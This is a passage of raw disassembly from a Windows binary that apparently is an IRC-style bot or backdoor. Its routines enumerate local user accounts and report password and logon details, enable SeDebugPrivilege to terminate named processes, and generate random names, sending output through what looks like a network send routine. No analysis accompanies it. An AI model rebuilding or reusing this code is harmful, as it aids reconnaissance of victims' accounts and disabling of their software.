		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_415316
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4135C8
		dec	eax
		jz	short loc_4135C1
		dec	eax
		jz	short loc_4135BA
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4135CD
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_4134AF+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4135CD
; ---------------------------------------------------------------------------


loc_4135C1:				; CODE XREF: sub_4134AF+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4135CD
; ---------------------------------------------------------------------------


loc_4135C8:				; CODE XREF: sub_4134AF+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4135CD:				; CODE XREF: sub_4134AF+109j
					; sub_4134AF+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412BD1
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_413868
; ---------------------------------------------------------------------------


loc_41383C:				; CODE XREF: sub_4134AF+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_437054
		push	eax
		call	sub_415316
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412BD1
		add	esp, 20h


loc_413868:				; CODE XREF: sub_4134AF+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_413877
		push	[ebp+var_4]
		call	dword_43C5E4


loc_413877:				; CODE XREF: sub_4134AF+40j
					; sub_4134AF+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4134AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41387D	proc near		; CODE XREF: sub_40CD3A+2014p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4131E4
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 18h


loc_4138BC:				; CODE XREF: sub_41387D+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43C4BC
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41391D
		cmp	eax, 0EAh
		jz	short loc_41391D
		push	eax
		push	eax
		call	sub_4139F3
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_43725C
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 24h
		jmp	short loc_41398E
; ---------------------------------------------------------------------------


loc_41391D:				; CODE XREF: sub_41387D+62j
					; sub_41387D+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4139A1
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_41398E


loc_41392B:				; CODE XREF: sub_41387D+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_41396A
		push	dword ptr [edi]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41392B
		jmp	short loc_41398E
; ---------------------------------------------------------------------------


loc_41396A:				; CODE XREF: sub_41387D+B6j
		push	offset dword_437214
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 1Ch


loc_41398E:				; CODE XREF: sub_41387D+9Ej
					; sub_41387D+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4139A1
		push	edi
		call	dword_43C5E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4139A1:				; CODE XREF: sub_41387D+A5j
					; sub_41387D+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_4138BC
		cmp	edi, esi
		jz	short loc_4139B9
		push	edi
		call	dword_43C5E4


loc_4139B9:				; CODE XREF: sub_41387D+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41387D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4139F3	proc near		; CODE XREF: sub_413053+41p
					; sub_413248+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413AA5
		jz	loc_413A9E
		cmp	eax, 7Bh
		ja	short loc_413A6A
		jz	short loc_413A60
		cmp	eax, 5
		jz	short loc_413A56
		cmp	eax, 8
		jz	short loc_413A4C
		cmp	eax, 32h
		jz	short loc_413A42
		cmp	eax, 35h
		jz	short loc_413A38
		cmp	eax, 57h
		jnz	loc_413AF4
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A38:				; CODE XREF: sub_4139F3+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A42:				; CODE XREF: sub_4139F3+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A4C:				; CODE XREF: sub_4139F3+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A56:				; CODE XREF: sub_4139F3+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A60:				; CODE XREF: sub_4139F3+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A6A:				; CODE XREF: sub_4139F3+1Aj
		sub	eax, 7Ch
		jz	short loc_413A97
		sub	eax, 7C8h
		jz	short loc_413A90
		dec	eax
		jz	short loc_413A86
		dec	eax
		jnz	short loc_413AF4
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A86:				; CODE XREF: sub_4139F3+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413B15
; ---------------------------------------------------------------------------


loc_413A90:				; CODE XREF: sub_4139F3+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413A97:				; CODE XREF: sub_4139F3+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413A9E:				; CODE XREF: sub_4139F3+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AA5:				; CODE XREF: sub_4139F3+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413ADE
		jz	short loc_413AD7
		sub	eax, 8ADh
		jz	short loc_413B09
		dec	eax
		dec	eax
		jz	short loc_413AD0
		dec	eax
		jz	short loc_413AC9
		dec	eax
		dec	eax
		jnz	short loc_413AF4
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AC9:				; CODE XREF: sub_4139F3+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AD0:				; CODE XREF: sub_4139F3+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AD7:				; CODE XREF: sub_4139F3+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413ADE:				; CODE XREF: sub_4139F3+B9j
		sub	eax, 8CAh
		jz	short loc_413B10
		sub	eax, 17h
		jz	short loc_413B09
		sub	eax, 25h
		jz	short loc_413B02
		sub	eax, 29h
		jz	short loc_413AFB


loc_413AF4:				; CODE XREF: sub_4139F3+35j
					; sub_4139F3+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413AFB:				; CODE XREF: sub_4139F3+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413B02:				; CODE XREF: sub_4139F3+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413B09:				; CODE XREF: sub_4139F3+C2j
					; sub_4139F3+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413B15
; ---------------------------------------------------------------------------


loc_413B10:				; CODE XREF: sub_4139F3+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_413B15:				; CODE XREF: sub_4139F3+40j
					; sub_4139F3+4Aj ...
		push	offset dword_46ADA0
		call	sub_415316
		pop	ecx
		mov	eax, offset dword_46ADA0
		pop	ecx
		retn
sub_4139F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B27	proc near		; CODE XREF: sub_40CD3A+2059p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417A19
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_42113C	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_417A19
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179FC
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43C564
		test	eax, eax
		jnz	short loc_413BB7
		mov	esi, offset dword_46AB98
		push	offset dword_4375BC
		push	esi
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_413BE0
; ---------------------------------------------------------------------------


loc_413BB7:				; CODE XREF: sub_413B27+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4139F3
		pop	ecx
		mov	esi, offset dword_46AB98
		push	eax
		push	offset dword_437580
		push	esi
		call	sub_415316
		add	esp, 14h


loc_413BE0:				; CODE XREF: sub_413B27+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BE5	proc near		; CODE XREF: sub_409D12+7p
					; sub_413C50+53p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_43C538
		test	eax, eax
		jnz	short loc_413C04
		leave
		retn
; ---------------------------------------------------------------------------


loc_413C04:				; CODE XREF: sub_413BE5+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43C510
		test	eax, eax
		jz	short loc_413C42
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413C2B
		or	[ebp+var_8], 2
		jmp	short loc_413C2F
; ---------------------------------------------------------------------------


loc_413C2B:				; CODE XREF: sub_413BE5+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_413C2F:				; CODE XREF: sub_413BE5+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43C5C0
		mov	esi, eax


loc_413C42:				; CODE XREF: sub_413BE5+32j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C50	proc near		; CODE XREF: sub_40CD3A+478Ep
					; sub_413DFD+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43C574, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	short loc_413CF5
		cmp	dword_43C558, ebx
		jz	short loc_413CF5
		cmp	dword_43C474, ebx
		jz	short loc_413CF5
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413BE5
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43C574
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_413CE8
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43C558
		mov	esi, dword_42106C
		test	eax, eax
		jnz	loc_413DAB


loc_413CE3:				; CODE XREF: sub_413C50+173j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_413CE8:				; CODE XREF: sub_413C50+69j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413BE5
		pop	ecx
		pop	ecx


loc_413CF5:				; CODE XREF: sub_413C50+3Aj
					; sub_413C50+42j ...
		xor	eax, eax


loc_413CF7:				; CODE XREF: sub_413C50+1A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413CFC:				; CODE XREF: sub_413C50+16Dj
		cmp	[ebp+arg_10], ebx
		jnz	loc_413DAB
		cmp	[ebp+arg_C], ebx
		jnz	loc_413D96
		cmp	[ebp+arg_4], ebx
		jz	loc_413DAB
		push	[ebp+var_124]
		push	8
		call	dword_43C574
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413D56
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43C420
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413D5C
		lea	eax, [ebp+var_230]
		jmp	short loc_413D62
; ---------------------------------------------------------------------------


loc_413D56:				; CODE XREF: sub_413C50+E4j
		push	[ebp+var_124]


loc_413D5C:				; CODE XREF: sub_413C50+FCj
		lea	eax, [ebp+var_108]


loc_413D62:				; CODE XREF: sub_413C50+104j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_413DAB
; ---------------------------------------------------------------------------


loc_413D96:				; CODE XREF: sub_413C50+B8j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413DC8


loc_413DAB:				; CODE XREF: sub_413C50+8Dj
					; sub_413C50+AFj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43C474
		test	eax, eax
		jnz	loc_413CFC
		jmp	loc_413CE3
; ---------------------------------------------------------------------------


loc_413DC8:				; CODE XREF: sub_413C50+159j
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_413DF5
		push	edi
		call	esi	; CloseHandle
		jmp	loc_413CF5
; ---------------------------------------------------------------------------


loc_413DF5:				; CODE XREF: sub_413C50+19Bj
		xor	eax, eax
		inc	eax
		jmp	loc_413CF7
sub_413C50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DFD	proc near		; DATA XREF: sub_40CD3A+5343o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_43768C
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415316
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413E5C
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412BD1
		add	esp, 14h


loc_413E5C:				; CODE XREF: sub_413DFD+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413C50
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_413E8A
		push	offset dword_437650
		jmp	short loc_413E8F
; ---------------------------------------------------------------------------


loc_413E8A:				; CODE XREF: sub_413DFD+84j
		push	offset dword_437618


loc_413E8F:				; CODE XREF: sub_413DFD+8Bj
		push	eax
		call	sub_415316
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_413EBC
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412BD1
		add	esp, 14h


loc_413EBC:				; CODE XREF: sub_413DFD+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B078
		push	[ebp+var_14]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_413DFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413EDB	proc near		; CODE XREF: sub_40CD3A+4730p
					; sub_414F15+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_42111C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_413F0D
		push	0
		push	esi
		call	dword_421140	; TerminateProcess
		test	eax, eax
		jnz	short loc_413F0D
		push	esi
		xor	edi, edi
		call	dword_42106C	; CloseHandle


loc_413F0D:				; CODE XREF: sub_413EDB+1Aj
					; sub_413EDB+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F12	proc near		; CODE XREF: sub_4036BB+Ap
					; sub_403C74+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415372
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_421668
		call	sub_415E24
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413F12	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F42	proc near		; CODE XREF: sub_414278+4Ap
					; DATA XREF: seg001:off_4376D8o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	dword_42C2E8
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41588A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C264, esi
		jle	short loc_413F9B


loc_413F75:				; CODE XREF: sub_413F42+57j
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43772C
		push	1Ch
		push	edi
		call	sub_41588A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C264
		jl	short loc_413F75


loc_413F9B:				; CODE XREF: sub_413F42+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_413F42	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FA0	proc near		; CODE XREF: sub_40CD3A+3CBAp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		call	sub_415372
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42C264
		test	esi, esi
		jle	short loc_413FE3


loc_413FCD:				; CODE XREF: sub_413FA0+41j
		call	sub_415372
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_413FCD


loc_413FE3:				; CODE XREF: sub_413FA0+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_413FA0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset dword_437734
		push	eax
		push	esi
